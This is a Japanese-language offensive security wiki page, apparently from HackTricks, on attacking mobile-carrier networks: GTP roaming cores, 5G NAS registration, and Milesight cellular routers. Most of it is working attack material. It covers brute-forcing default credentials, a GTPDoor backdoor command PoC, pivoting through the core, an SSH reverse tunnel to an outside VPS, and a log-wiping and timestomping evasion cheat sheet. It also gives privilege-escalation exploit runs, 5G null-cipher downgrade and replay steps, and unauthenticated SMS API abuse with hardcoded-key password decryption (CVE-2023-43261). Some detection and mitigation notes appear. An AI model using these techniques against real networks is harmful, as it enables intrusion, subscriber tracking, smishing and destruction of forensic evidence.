# 通信ネットワークのエクスプロイト (GTP / ローミング環境) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] > Mobile-core protocols (GPRS Tunnelling Protocol – GTP) はセミトラストな GRX/IPX ローミングバックボーンを通過することが多い。これらはほとんど認証のないプレーンな UDP 上で動作するため、**通信ネットワークの境界内に足がかりがあれば通常、コアのシグナリング平面に直接到達できる**。以下のノートは、SGSN/GGSN、PGW/SGW、その他の EPC ノードに対して実際の運用環境で観測された攻撃テクニックをまとめたものである。 ## 1. Recon & Initial Access ### 1.1 Default OSS / NE Accounts 多くのベンダーの network elements が `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … のようなハードコードされた SSH/Telnet ユーザで出荷されることが意外に多い。専用の wordlist を用いるとブルートフォース成功率が劇的に上がる: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` デバイスが management VRF のみを公開している場合は、まず jump host を経由して pivot します(下記のセクション «SGSN Emu Tunnel» を参照)。 ### 1.2 GRX/IPX 内のホスト検出 ほとんどの GRX オペレーターはバックボーン上で **ICMP echo** をまだ許可しています。`masscan` と組み込みの `gtpv1` UDP probes を組み合わせて、GTP-C リスナーを素早くマップします: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` ## 2. 登録者の列挙 – `cordscan` 以下の Go ツールは **GTP-C Create PDP Context Request** パケットを生成し、レスポンスをログに記録します。各応答は、問い合わせ対象の IMSI に現在サービスを提供している **SGSN / MME** を明らかにし、場合によっては加入者が訪問している PLMN も示します。 ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical): ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` 主なフラグ: - `--imsi` 対象加入者の IMSI - `--oper` ホーム / HNI (MCC+MNC) - `-w` 生のパケットを pcap に書き込む バイナリ内の重要な定数はパッチを当ててスキャン範囲を広げることができます: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` ## 3. Code Execution over GTP – `GTPDoor` `GTPDoor` は小さな ELF サービスで、**UDP 2123 にバインドし、受信するすべての GTP-C パケットを解析します**。ペイロードが事前共有タグで始まると、残りは (AES-128-CBC) で復号され `/bin/sh -c` を通じて実行されます。stdout/stderr は **Echo Response** メッセージ内にエクスフィルトレーションされるため、外向きのセッションは一切作られません。 最小 PoC パケット (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" cmd = b"id;uname -a" enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` Detection: * SGSN の IP に **unbalanced Echo Requests** を送信しているホスト * GTP の version フラグが 1 に設定され、message type = 1 (Echo) になっている — 仕様からの逸脱 ## 4. Pivoting(コア経由) ### 4.1 `sgsnemu` + SOCKS5 `OsmoGGSN` は SGSN エミュレータを同梱しており、**establish a PDP context towards a real GGSN/PGW** ことができる。交渉が完了すると、Linux はローミングピアから到達可能な新しい `tun0` インターフェースを受け取る。 ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` 適切な firewall hair-pinning により、このトンネルは signalling-only VLANs を回避して直接 **data plane** に到達します。 ### 4.2 SSH Reverse Tunnel over Port 53 DNS はローミング環境ではほぼ常に開いています。内部の SSH サービスをポート :53 で待ち受ける VPS に公開し、後で自宅から戻ってくる: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` VPSで`GatewayPorts yes`が有効になっていることを確認してください。 ## 5. コバートチャネル | チャネル | トランスポート | 復号 | 備考 | |---------|-----------|----------|-------| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4バイト鍵 + 14バイトのチャンク(XOR) | 完全に受動的なリスナーで、アウトバウンドトラフィックは発生しない | | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) を Aレコードのオクテットにエンコード | `*.nodep` サブドメインを監視する | | GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 正規のGTP通信に紛れて動作する | All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. ## 6. 防御回避 チートシート ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp # Disable bash history export HISTFILE=/dev/null # Masquerade as kernel thread echo 0 > /proc/$$/autogroup # hide from top/htop printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` ## 7. レガシーNEでの Privilege Escalation ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd # PwnKit – CVE-2021-4034 python3 PwnKit.py # Sudo Baron Samedit – CVE-2021-3156 python3 exploit_userspec.py ``` クリーンアップのヒント: ```bash userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` ## 8. ツールボックス * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 前節で説明したカスタムツール。 * `FScan` : intranet TCP スイープ (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS の rogue WPAD * `Microsocks` + `ProxyChains` : 軽量な SOCKS5 ピボット * `FRP` (≥0.37) : NAT traversal / アセットブリッジング ## 9. 5G NAS 登録攻撃: SUCI leaks、EEA0/EIA0 へのダウングレード、および NAS リプレイ 5G の登録手続きは NGAP 上の NAS (Non-Access Stratum) 上で実行される。Security Mode Command/Complete によって NAS セキュリティが有効化されるまでは、初期メッセージは認証も暗号化もされない。この pre-security ウィンドウは、N2 トラフィックを観測または改竄できる場合(コア内の on-path、rogue gNB、またはテストベッド上など)に複数の攻撃経路を可能にする。 登録フロー(簡略化): - Registration Request: UE が SUCI(暗号化された SUPI)と機能を送信する。 - Authentication: AMF/AUSF が RAND/AUTN を送信;UE は RES* を返す。 - Security Mode Command/Complete: NAS の整合性と暗号化がネゴシエートされ有効化される。 - PDU Session Establishment: IP/QoS の設定。 ラボセットアップのヒント(RF 以外): - Core: Open5GS のデフォルト展開でフローを再現するのに十分。 - UE: シミュレータまたはテスト UE;Wireshark でデコード。 - Active tooling: 5GReplay(NAS を NGAP 内でキャプチャ/修正/リプレイ)、Sni5Gect(フル rogue gNB を立てずに NAS をオンザフライでスニッフ/パッチ/インジェクト)。 - Wireshark の有用な display フィルタ: - `ngap.procedure_code == 15 (InitialUEMessage)` - `nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)` ### 9.1 識別子のプライバシー: SUCI の失敗が SUPI/IMSI を露出する 期待挙動: UE/USIM は SUCI(home-network の公開鍵で暗号化された SUPI)を送信する必要がある。Registration Request に平文の SUPI/IMSI が見つかる場合は、恒久的な加入者追跡を可能にするプライバシー欠陥を示す。 テスト方法: - InitialUEMessage の最初の NAS メッセージをキャプチャし、Mobile Identity IE を検査する。 - Wireshark での簡易チェック: - SUCI としてデコードされるべきであり、IMSI としてはならない。 - フィルタ例: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` が存在すべき;不在で `imsi` が存在する場合は露出を示す。 収集すべきもの: - 露出している場合は MCC/MNC/MSIN を収集;UE ごとにログを取り、時間/場所を跨いで追跡する。 緩和策: - SUCI のみを送信する UE/USIM を強制し、初期 NAS に IMSI/SUPI が含まれていたらアラートを上げる。 ### 9.2 能力のダウングレード: null アルゴリズム (EEA0/EIA0) 背景: - UE は Registration Request の UE Security Capability IE でサポートする EEA(暗号)と EIA(整合性)を広告する。 - 一般的なマッピング: EEA1/EIA1 = SNOW3G、EEA2/EIA2 = AES、EEA3/EIA3 = ZUC;EEA0/EIA0 は null アルゴリズム。 問題点: - Registration Request は整合性保護されていないため、on-path の攻撃者は capability ビットをクリアして後の Security Mode Command で EEA0/EIA0 の選択を強制できる。一部のスタックは緊急サービス以外でも null アルゴリズムを誤って許容する。 攻撃手順(オフェンシブ): - InitialUEMessage を傍受し、NAS の UE Security Capability を EEA0/EIA0 のみを広告するように改変する。 - Sni5Gect を使って NAS メッセージをフックし、フォワードする前に capability ビットをパッチする。 - AMF が null 暗号/整合性を受け入れて Security Mode を EEA0/EIA0 で完了するか観察する。 検証/可視化: - Wireshark で Security Mode Command/Complete 後に選択されたアルゴリズムを確認する。 - 例: passive sniffer の出力: ``` Encyrption in use [EEA0] Integrity in use [EIA0, EIA1, EIA2] SUPI (MCC+MNC+MSIN) 9997000000001 ``` Mitigations (must): - AMF/policy を設定して、厳密に要求される場合(例:緊急通話)を除き EEA0/EIA0 を拒否する。 - 最低でも EEA2/EIA2 の適用を優先する。null algorithms をネゴシエートする任意の NAS セキュリティコンテキストについてはログ記録とアラートを行う。 ### 9.3 initial Registration Request の Replay (pre-security NAS) 初期の NAS は整合性と新鮮性を欠くため、捕獲された InitialUEMessage+Registration Request は AMF に対して replay され得る。 PoC rule for 5GReplay to forward matching replays: ```xml ``` What to observe: - AMFがreplayを受け入れてAuthenticationに進むかどうか。freshness/context validationが欠如している場合は露出を示す。 Mitigations: - AMF側でreplay protectionとcontext bindingを強制する;GNB/UEごとにレート制限と相関付けを行う。 ### 9.4 ツール指針(再現可能) - Open5GS: コアをエミュレートするためにAMF/SMF/UPFを起動し、N2 (NGAP) と NAS を観察する。 - Wireshark: NGAP/NASのデコードを検証し、上記フィルタを適用してRegistrationを抽出する。 - 5GReplay: Registrationをキャプチャしてから、ルールに従って特定のNGAP + NASメッセージをreplayする。 - Sni5Gect: NASコントロールプレーンをライブでsniff/modify/injectして、null algorithmsを強制したり認証シーケンスを攪乱したりする。 ### 9.5 防御チェックリスト - Registration Requestを継続的に検査して平文のSUPI/IMSIが含まれていないか確認し、問題のあるデバイス/USIMをブロックする。 - EEA0/EIA0は狭義の緊急手続き以外で拒否し、少なくともEEA2/EIA2を要求する。 - 不正または誤設定されたインフラを検出する:許可されていないgNB/AMF、予期しないN2ピアなど。 - null algorithmsを招くNASセキュリティモードやInitialUEMessageの頻繁なreplayに関してアラートを出す。 --- ## 10. 産業用セルラールーター – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261) 産業用セルラールーターの公開されたweb APIを悪用すると、キャリア発信のステルスなsmishingを大規模に行える。Milesight UR-seriesルーターは`/cgi`にJSON-RPC–styleのエンドポイントを公開している。誤設定されている場合、そのAPIは認証なしで問い合わせ可能で、SMSのinbox/outboxを列挙したり、一部の導入ではSMSを送信したりできる。 典型的な認証不要のリクエスト(inbox/outboxで構造は同じ): ```http POST /cgi HTTP/1.1 Host: Content-Type: application/json { "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } ``` ```json { "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } ``` レスポンスには、`timestamp`、`content`、`phone_number`(E.164)、および `status`(`success` または `failed`)などのフィールドが含まれます。 同一の番号への `failed` の繰り返し送信は、多くの場合、攻撃者による “capability checks” で、router/SIM が配信できるかを確認するために行われ、blasting の前段階です。 SMS metadata を exfiltrate するための curl の例: ```bash curl -sk -X POST http:///cgi \ -H 'Content-Type: application/json' \ -d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' ``` auth artifacts に関する注記: - 一部のトラフィックは auth cookie を含む場合があるが、管理インターフェースがインターネット公開されていると、公開デバイスの大部分は `query_inbox`/`query_outbox` に対して認証なしで応答する。 - auth が必要な環境では、previously-leaked credentials(下記参照)でアクセスが回復する。 資格情報の復旧パス – CVE-2023-43261: - 影響を受けるファミリ: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). - 問題点: web-served logs(例: `httpd.log`)が `/lang/log/` 以下で認証なしに取得可能で、管理者ログインイベントを含んでおり、パスワードはクライアント側の JavaScript にハードコードされた AES key/IV を用いて暗号化されている。 - 実際のアクセスと復号: ```bash curl -sk http:///lang/log/httpd.log | sed -n '1,200p' # Look for entries like: {"username":"admin","password":""} ``` leaked passwords を復号する最小限の Python(AES-128-CBC、hardcoded key/IV): ```python import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad KEY=b'1111111111111111'; IV=b'2222222222222222' enc_b64='...' # value from httpd.log print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) ``` Hunting and detection ideas (network): - Alert on unauthenticated `POST /cgi` whose JSON body contains `base`/`function` set to `query_inbox` or `query_outbox`. - Track repeated `POST /cgi` bursts followed by `status":"failed"` entries across many unique numbers from the same source IP (capability testing). - Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends. Shodan/OSINT pivots (examples seen in the wild): - `http.html:"rt_title"` matches Milesight router panels. - Google dorking for exposed logs: `"/lang/log/system" ext:log`. Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale. --- ## 検出のアイデア 1. **SGSN/GGSN 以外のデバイスが Create PDP Context Requests を確立している場合**。 2. **内部 IP からの非標準ポート(53, 80, 443)での SSH ハンドシェイク受信**。 3. **対応する Echo Responses がない頻繁な Echo Requests** – GTPDoor ビーコンの可能性。 4. **大きくゼロでない identifier/sequence フィールドを伴う高頻度の ICMP echo-reply トラフィック**。 5. 5G: **同一エンドポイントから繰り返される NAS Registration Requests を含む InitialUEMessage**(リプレイ信号)。 6. 5G: **緊急時以外で EEA0/EIA0 を交渉する NAS Security Mode**。 ## References - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.281 – GTPv2-C (v17.6.0) - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 33.501 – Security architecture and procedures for 5G System - [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) - [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) - [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) {{#include ../../banners/hacktricks-training.md}}